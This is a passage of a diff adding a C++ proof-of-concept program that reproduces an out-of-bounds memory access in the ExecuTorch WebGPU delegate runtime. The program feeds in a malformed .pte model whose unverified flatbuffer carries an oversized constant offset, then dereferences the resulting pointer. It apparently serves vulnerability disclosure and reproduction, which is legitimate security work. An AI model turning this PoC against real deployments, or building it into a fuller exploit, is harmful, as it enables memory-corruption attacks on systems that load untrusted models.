+ return std::vector<uint8_t>(payload, payload + byte_len);
125
+ }
126
+
127
+ // ---- elem_size for VkDataType -----------------------------------------------
128
+
129
+ static size_t vk_datatype_size(int8_t dt) {
130
+ switch (dt) {
131
+ case 0: return 1; // BOOL
132
+ case 1: return 1; // UINT8
133
+ case 2: return 1; // INT8
134
+ case 3: return 4; // INT32
135
+ case 4: return 2; // FLOAT16
136
+ case 5: return 4; // FLOAT32
137
+ case 6: return 8; // FLOAT64
138
+ case 7: return 8; // INT64
139
+ default: return 4;
140
+ }
141
+ }
142
+
143
+ // ---- Main -------------------------------------------------------------------
144
+
145
+ int main(int argc, char** argv) {
146
+ setvbuf(stdout, nullptr, _IONBF, 0); // unbuffered so printfs appear before UBSan stderr
147
+ printf("==========================================================\n");
148
+ printf(" ExecuTorch WebGPU Delegate Runtime PoC\n");
149
+ printf(" CVE class : CWE-787 (Out-of-bounds Write)\n");
150
+ printf(" Source : backends/webgpu/runtime/WebGPUGraph.cpp\n");
151
+ printf(" Root cause : GetVkGraph() called without flatbuffers::Verifier\n");
152
+ printf(" Sibling : Vulkan (same vkgraph schema) was patched 2026-05-13\n");
153
+ printf("==========================================================\n\n");
154
+
155
+ if (argc < 2) {
156
+ fprintf(stderr, "Usage: %s malformed_webgpu.pte\n", argv[0]);
157
+ return 1;
158
+ }
159
+
160
+ // Load .pte
161
+ FILE* f = fopen(argv[1], "rb");
162
+ if (!f) { perror("fopen"); return 1; }
163
+ fseek(f, 0, SEEK_END); long fsz = ftell(f); rewind(f);
164
+ std::vector<uint8_t> pte(fsz);
165
+ fread(pte.data(), 1, fsz, f);
166
+ fclose(f);
167
+
168
+ printf("[+] Loaded .pte: %ld bytes, identifier %.4s\n", fsz, pte.data() + 4);
169
+
170
+ // Extract WebGPU delegate payload from backend_delegate_data[0]
171
+ auto payload = extract_delegate_payload(pte.data(), pte.size());
172
+ printf("[+] WebGPU delegate payload: %zu bytes\n", payload.size());
173
+
174
+ // Parse WebGPUDelegateHeader (WebGPUBackend.cpp:64-75)
175
+ auto hdr = WebGPUDelegateHeader::parse(payload.data());
176
+ printf("[+] VH00 header: fb_offset=%u fb_size=%u bytes_offset=%u bytes_size=%llu\n",
177
+ hdr.flatbuffer_offset, hdr.flatbuffer_size,
178
+ hdr.bytes_offset, (unsigned long long)hdr.bytes_size);
179
+
180
+ const uint8_t* flatbuffer_data = payload.data() + hdr.flatbuffer_offset;
181
+ const uint8_t* constant_data = payload.data() + hdr.bytes_offset;
182
+ size_t constant_size = (size_t)hdr.bytes_size;
183
+
184
+ // --- Reproduce WebGPUBackend.cpp:75 ---
185
+ // Only a 4-byte identifier check; no flatbuffers::Verifier before GetVkGraph
186
+ printf("\n[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only β€” NO flatbuffers::Verifier)\n");
187
+ bool has_id = vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data);
188
+ printf("[PoC] VkGraphBufferHasIdentifier: %s\n", has_id ? "true" : "false");
189
+
190
+ // --- Reproduce WebGPUGraph.cpp:378 (inside build()) ---
191
+ // GetVkGraph() called with NO Verifier β€” attacker controls the flatbuffer
192
+ printf("[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) β€” NO flatbuffers::Verifier\n");
193
+ const vkgraph::VkGraph* graph = vkgraph::GetVkGraph(flatbuffer_data);
194
+ printf("[PoC] GetVkGraph returned: %p\n", (void*)graph);
195
+
196
+ // --- Reproduce WebGPUGraph.cpp:480-545 (build() constant-source mapping) ---
197
+ printf("\n[PoC] Entering WebGPUGraph::build() constant-source mapping\n");
198
+ printf("[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp\n\n");
199
+
200
+ const auto* values = graph->values();
201
+ const auto* constants = graph->constants();
202
+
203
+ if (!values || !constants) {
204
+ fprintf(stderr, "No values/constants in graph\n");
205
+ return 1;
206
+ }
207
+
208
+ printf("[PoC] graph->values()->size() = %u\n", values->size());
209
+ printf("[PoC] graph->constants()->size() = %u\n", constants->size());
210
+
211
+ ConstantSource cs;
212
+
213
+ for (unsigned i = 0; i < values->size(); i++) {
214
+ const auto* val = values->Get(i);
215
+ if (val->value_type() != vkgraph::GraphTypes_VkTensor) continue;
216
+
217
+ const auto* vk_tensor = val->value_as_VkTensor();
218
+
219
+ // Compute nbytes (WebGPUGraph.cpp:483-493)
220
+ size_t numel = 1;
221
+ if (vk_tensor->dims()) {
222
+ for (unsigned j = 0; j < vk_tensor->dims()->size(); j++)
223
+ numel *= vk_tensor->dims()->Get(j);
224
+ }
225
+ size_t elem_size = vk_datatype_size(vk_tensor->datatype());
226
+ size_t nbytes = numel * elem_size;
227
+
228
+ printf("[PoC] WebGPUGraph.cpp:493: tensor[%u] numel=%zu elem_size=%zu nbytes=%zu\n",
229
+ i, numel, elem_size, nbytes);
230
+
231
+ int constant_id = vk_tensor->constant_id();
232
+ if (constant_id < 0) continue;
233
+
234
+ printf("[PoC] WebGPUGraph.cpp:516: constant_id=%d\n", constant_id);
235
+
236
+ // WebGPUGraph.cpp:527-532 β€” bounds check on constant_id (present in real code)
237
+ if (constant_id >= (int)constants->size()) {
238
+ printf("[PoC] constant_id out of range β€” would throw\n");
239
+ return 1;
240
+ }
241
+
242
+ // WebGPUGraph.cpp:534 β€” constants->Get() on unverified flatbuffer
243
+ const auto* vk_bytes = constants->Get(constant_id);
244
+ printf("[PoC] WebGPUGraph.cpp:534: constants->Get(%d) on unverified FlatBuffer\n", constant_id);
245
+
246
+ printf("[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = %zu\n", nbytes);
247
+ cs.nbytes = nbytes;
248
+
249
+ // WebGPUGraph.cpp:537-538 β€” THE MISSING BOUNDS CHECK
250
+ printf("[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)\n");
251
+ printf("[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0x%llx\n",
252
+ (unsigned long long)vk_bytes->offset());
253
+
254
+ if (vk_bytes->offset() != UINT64_MAX) {
255
+ cs.inline_offset = vk_bytes->offset();
256
+ printf("[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0x%llx (NO bounds check vs constant_data size)\n",
257
+ (unsigned long long)cs.inline_offset);
258
+ printf("[PoC] constant_data section is %zu bytes β€” offset 0x%llx is WAY past it\n",
259
+ constant_size, (unsigned long long)cs.inline_offset);
260
+ }
261
+ }
262
+
263
+ // --- Reproduce WebGPUGraph.cpp:717-733 (materialize_constant) ---
264
+ printf("\n[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)\n");
265
+ printf("[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true\n");
266
+ printf("[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,\n");
267
+ printf("[PoC] constant_data_ + cs.inline_offset, cs.nbytes)\n");
268
+ printf("[PoC] constant_data_ = %p\n", (void*)constant_data);
269
+ printf("[PoC] cs.inline_offset = 0x%llx\n", (unsigned long long)cs.inline_offset);
270
+ printf("[PoC] cs.nbytes = %zu\n", cs.nbytes);
271
+ printf("[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0x%llx is %llu bytes past a %zu-byte section ***\n\n",
272
+ (unsigned long long)cs.inline_offset,
273
+ (unsigned long long)cs.inline_offset - constant_size,
274
+ constant_size);
275
+
276
+ printf("[PoC] Executing OOB pointer arithmetic now...\n");
277
+
278
+ // Exact expression from WebGPUGraph.cpp:733:
279
+ // wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)
280
+ // wgpuQueueWriteBuffer reads from [constant_data_+cs.inline_offset, +cs.nbytes).
281
+ // UBSan catches OOB pointer arithmetic first; then SEGV on dereference.
282
+ const uint8_t* oob_ptr = constant_data + cs.inline_offset;
283
+ printf("[PoC] oob_ptr = %p (computed from constant_data_ + 0x%llx)\n",
284
+ (void*)oob_ptr, (unsigned long long)cs.inline_offset);
285
+
286
+ // Force a dereference β€” this is what wgpuQueueWriteBuffer does internally
287
+ // when it reads the source buffer to upload to the GPU.
288
+ volatile uint8_t byte = *oob_ptr;
289
+ (void)byte;
290
+
291
+ printf("[PoC] SHOULD NOT REACH HERE\n");
292
+ return 0;
293
+ }